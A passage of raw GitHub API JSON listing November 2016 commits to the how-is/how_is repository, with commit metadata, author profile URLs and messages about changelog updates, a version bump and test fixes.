starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d484d5049966b2fbe99ba82d8027367a987c73ce","url":"https://api.github.com/repos/how-is/how_is/commits/d484d5049966b2fbe99ba82d8027367a987c73ce","html_url":"https://github.com/how-is/how_is/commit/d484d5049966b2fbe99ba82d8027367a987c73ce"},{"sha":"982ed55b50abfcf16cb18ff87d10a596d47b83ef","url":"https://api.github.com/repos/how-is/how_is/commits/982ed55b50abfcf16cb18ff87d10a596d47b83ef","html_url":"https://github.com/how-is/how_is/commit/982ed55b50abfcf16cb18ff87d10a596d47b83ef"}]},{"sha":"982ed55b50abfcf16cb18ff87d10a596d47b83ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTgyZWQ1NWI1MGFiZmNmMTZjYjE4ZmY4N2QxMGE1OTZkNDdiODNlZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T05:07:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T05:07:30Z"},"message":"Extract BaseReport into its own file.","tree":{"sha":"4ce5714ef90bdccf7d735292b70a0a2db6f9fa87","url":"https://api.github.com/repos/how-is/how_is/git/trees/4ce5714ef90bdccf7d735292b70a0a2db6f9fa87"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/982ed55b50abfcf16cb18ff87d10a596d47b83ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/982ed55b50abfcf16cb18ff87d10a596d47b83ef","html_url":"https://github.com/how-is/how_is/commit/982ed55b50abfcf16cb18ff87d10a596d47b83ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/982ed55b50abfcf16cb18ff87d10a596d47b83ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d484d5049966b2fbe99ba82d8027367a987c73ce","url":"https://api.github.com/repos/how-is/how_is/commits/d484d5049966b2fbe99ba82d8027367a987c73ce","html_url":"https://github.com/how-is/how_is/commit/d484d5049966b2fbe99ba82d8027367a987c73ce"}]},{"sha":"d484d5049966b2fbe99ba82d8027367a987c73ce","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDQ4NGQ1MDQ5OTY2YjJmYmU5OWJhODJkODAyNzM2N2E5ODdjNzNjZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T03:07:08Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T03:07:30Z"},"message":"version bump [v11.0]","tree":{"sha":"3f8e55d379947319bcb3d3bd15078daabb2f58ad","url":"https://api.github.com/repos/how-is/how_is/git/trees/3f8e55d379947319bcb3d3bd15078daabb2f58ad"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d484d5049966b2fbe99ba82d8027367a987c73ce","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d484d5049966b2fbe99ba82d8027367a987c73ce","html_url":"https://github.com/how-is/how_is/commit/d484d5049966b2fbe99ba82d8027367a987c73ce","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d484d5049966b2fbe99ba82d8027367a987c73ce/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7b23fe0ba2e252f36cbaa023547cb85e299a56a7","url":"https://api.github.com/repos/how-is/how_is/commits/7b23fe0ba2e252f36cbaa023547cb85e299a56a7","html_url":"https://github.com/how-is/how_is/commit/7b23fe0ba2e252f36cbaa023547cb85e299a56a7"}]},{"sha":"7b23fe0ba2e252f36cbaa023547cb85e299a56a7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2IyM2ZlMGJhMmUyNTJmMzZjYmFhMDIzNTQ3Y2I4NWUyOTlhNTZhNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T03:05:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-13T03:05:52Z"},"message":"Merge pull request #73 from how-is/add-changelog\n\nAdd changelog.","tree":{"sha":"f1da6a725d140527e131eba49b315710abbbb95d","url":"https://api.github.com/repos/how-is/how_is/git/trees/f1da6a725d140527e131eba49b315710abbbb95d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7b23fe0ba2e252f36cbaa023547cb85e299a56a7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7b23fe0ba2e252f36cbaa023547cb85e299a56a7","html_url":"https://github.com/how-is/how_is/commit/7b23fe0ba2e252f36cbaa023547cb85e299a56a7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7b23fe0ba2e252f36cbaa023547cb85e299a56a7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"5e1589e5a93f473ab20c8763223a17987d218136","url":"https://api.github.com/repos/how-is/how_is/commits/5e1589e5a93f473ab20c8763223a17987d218136","html_url":"https://github.com/how-is/how_is/commit/5e1589e5a93f473ab20c8763223a17987d218136"},{"sha":"06cec7b007f911fbd0ee0ee0949971f92e5e7dfc","url":"https://api.github.com/repos/how-is/how_is/commits/06cec7b007f911fbd0ee0ee0949971f92e5e7dfc","html_url":"https://github.com/how-is/how_is/commit/06cec7b007f911fbd0ee0ee0949971f92e5e7dfc"}]},{"sha":"06cec7b007f911fbd0ee0ee0949971f92e5e7dfc","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDZjZWM3YjAwN2Y5MTFmYmQwZWUwZWUwOTQ5OTcxZjkyZTVlN2RmYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T03:05:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-13T03:05:08Z"},"message":"Update CHANGELOG.md","tree":{"sha":"f1da6a725d140527e131eba49b315710abbbb95d","url":"https://api.github.com/repos/how-is/how_is/git/trees/f1da6a725d140527e131eba49b315710abbbb95d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/06cec7b007f911fbd0ee0ee0949971f92e5e7dfc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/06cec7b007f911fbd0ee0ee0949971f92e5e7dfc","html_url":"https://github.com/how-is/how_is/commit/06cec7b007f911fbd0ee0ee0949971f92e5e7dfc","comments_url":"https://api.github.com/repos/how-is/how_is/commits/06cec7b007f911fbd0ee0ee0949971f92e5e7dfc/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8db09a812f72e98108a129e9a4748c8ab97a8b27","url":"https://api.github.com/repos/how-is/how_is/commits/8db09a812f72e98108a129e9a4748c8ab97a8b27","html_url":"https://github.com/how-is/how_is/commit/8db09a812f72e98108a129e9a4748c8ab97a8b27"}]},{"sha":"8db09a812f72e98108a129e9a4748c8ab97a8b27","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGRiMDlhODEyZjcyZTk4MTA4YTEyOWU5YTQ3NDhjOGFiOTdhOGIyNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-13T03:03:18Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-13T03:03:18Z"},"message":"Update CHANGELOG.md","tree":{"sha":"e5acb3e793917b99af0352921deca02114bddfcb","url":"https://api.github.com/repos/how-is/how_is/git/trees/e5acb3e793917b99af0352921deca02114bddfcb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8db09a812f72e98108a129e9a4748c8ab97a8b27","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8db09a812f72e98108a129e9a4748c8ab97a8b27","html_url":"https://github.com/how-is/how_is/commit/8db09a812f72e98108a129e9a4748c8ab97a8b27","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8db09a812f72e98108a129e9a4748c8ab97a8b27/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"faa08834c37fdd76593445a39c20707c553529b0","url":"https://api.github.com/repos/how-is/how_is/commits/faa08834c37fdd76593445a39c20707c553529b0","html_url":"https://github.com/how-is/how_is/commit/faa08834c37fdd76593445a39c20707c553529b0"}]},{"sha":"faa08834c37fdd76593445a39c20707c553529b0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmFhMDg4MzRjMzdmZGQ3NjU5MzQ0NWEzOWMyMDcwN2M1NTM1MjliMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-11T03:50:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-11T03:50:27Z"},"message":"Add changelog.","tree":{"sha":"482d9ea4b81877943f3ff28e8e0a021fe9cc0d86","url":"https://api.github.com/repos/how-is/how_is/git/trees/482d9ea4b81877943f3ff28e8e0a021fe9cc0d86"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/faa08834c37fdd76593445a39c20707c553529b0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/faa08834c37fdd76593445a39c20707c553529b0","html_url":"https://github.com/how-is/how_is/commit/faa08834c37fdd76593445a39c20707c553529b0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/faa08834c37fdd76593445a39c20707c553529b0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5e1589e5a93f473ab20c8763223a17987d218136","url":"https://api.github.com/repos/how-is/how_is/commits/5e1589e5a93f473ab20c8763223a17987d218136","html_url":"https://github.com/how-is/how_is/commit/5e1589e5a93f473ab20c8763223a17987d218136"}]},{"sha":"5e1589e5a93f473ab20c8763223a17987d218136","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWUxNTg5ZTVhOTNmNDczYWIyMGM4NzYzMjIzYTE3OTg3ZDIxODEzNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T01:46:49Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-02T01:46:49Z"},"message":"Merge pull request #72 from how-is/fix-failing-tests\n\nFix failing tests.","tree":{"sha":"e1336cd2fa4638fdbc5592d5c6f5ee375b16d0fd","url":"https://api.github.com/repos/how-is/how_is/git/trees/e1336cd2fa4638fdbc5592d5c6f5ee375b16d0fd"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5e1589e5a93f473ab20c8763223a17987d218136","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5e1589e5a93f473ab20c8763223a17987d218136","html_url":"https://github.com/how-is/how_is/commit/5e1589e5a93f473ab20c8763223a17987d218136","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5e1589e5a93f473ab20c8763223a17987d218136/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"de4098d619abc1c00062c9444ba8628e56a1e025","url":"https://api.github.com/repos/how-is/how_is/commits/de4098d619abc1c00062c9444ba8628e56a1e025","html_url":"https://github.com/how-is/how_is/commit/de4098d619abc1c00062c9444ba8628e56a1e025"},{"sha":"73bfc6c18e603c591a99cf307fa2a7e718aae980","url":"https://api.github.com/repos/how-is/how_is/commits/73bfc6c18e603c591a99cf307fa2a7e718aae980","html_url":"https://github.com/how-is/how_is/commit/73bfc6c18e603c591a99cf307fa2a7e718aae980"}]},{"sha":"73bfc6c18e603c591a99cf307fa2a7e718aae980","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzNiZmM2YzE4ZTYwM2M1OTFhOTljZjMwN2ZhMmE3ZTcxOGFhZTk4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T01:44:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T01:44:20Z"},"message":"Add notes about pretending to be in UTC and how that''s probably a bad idea.","tree":{"sha":"db3ee4f102dbd89634af1c07796bacdc96ea048c","url":"https://api.github.com/repos/how-is/how_is/git/trees/db3ee4f102dbd89634af1c07796bacdc96ea048c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/73bfc6c18e603c591a99cf307fa2a7e718aae980","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/73bfc6c18e603c591a99cf307fa2a7e718aae980","html_url":"https://github.com/how-is/how_is/commit/73bfc6c18e603c591a99cf307fa2a7e718aae980","comments_url":"https://api.github.com/repos/how-is/how_is/commits/73bfc6c18e603c591a99cf307fa2a7e718aae980/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e54d51711d99cb8478ec378d9470e8a1786179ff","url":"https://api.github.com/repos/how-is/how_is/commits/e54d51711d99cb8478ec378d9470e8a1786179ff","html_url":"https://github.com/how-is/how_is/commit/e54d51711d99cb8478ec378d9470e8a1786179ff"}]},{"sha":"e54d51711d99cb8478ec378d9470e8a1786179ff","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTU0ZDUxNzExZDk5Y2I4NDc4ZWMzNzhkOTQ3MGU4YTE3ODYxNzlmZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T01:40:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T01:40:17Z"},"message":"???","tree":{"sha":"afb374096432976313183b20b5750988a3041ee7","url":"https://api.github.com/repos/how-is/how_is/git/trees/afb374096432976313183b20b5750988a3041ee7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e54d51711d99cb8478ec378d9470e8a1786179ff","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e54d51711d99cb8478ec378d9470e8a1786179ff","html_url":"https://github.com/how-is/how_is/commit/e54d51711d99cb8478ec378d9470e8a1786179ff","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e54d51711d99cb8478ec378d9470e8a1786179ff/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"010c06840cd2d5189a5ce940312181b2279d9975","url":"https://api.github.com/repos/how-is/how_is/commits/010c06840cd2d5189a5ce940312181b2279d9975","html_url":"https://github.com/how-is/how_is/commit/010c06840cd2d5189a5ce940312181b2279d9975"}]},{"sha":"010c06840cd2d5189a5ce940312181b2279d9975","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDEwYzA2ODQwY2QyZDUxODlhNWNlOTQwMzEyMTgxYjIyNzlkOTk3NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T00:05:29Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-02T00:05:29Z"},"message":"Somehow, it wound up expecting actually-up-to-date reports, instead of ones using the cached responses.","tree":{"sha":"bafff5ac605f40e0c61a5147454cb3910f58b22e","url":"https://api.github.com/repos/how-is/how_is/git/trees/bafff5ac605f40e0c61a5147454cb3910f58b22e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/010c06840cd2d5189a5ce940312181b2279d9975","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/010c06840cd2d5189a5ce940312181b2279d9975","html_url":"https://github.com/how-is/how_is/commit/010c06840cd2d5189a5ce940312181b2279d9975","comments_url":"https://api.github.com/repos/how-is/how_is/commits/010c06840cd2d5189a5ce940312181b2279d9975/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/ducki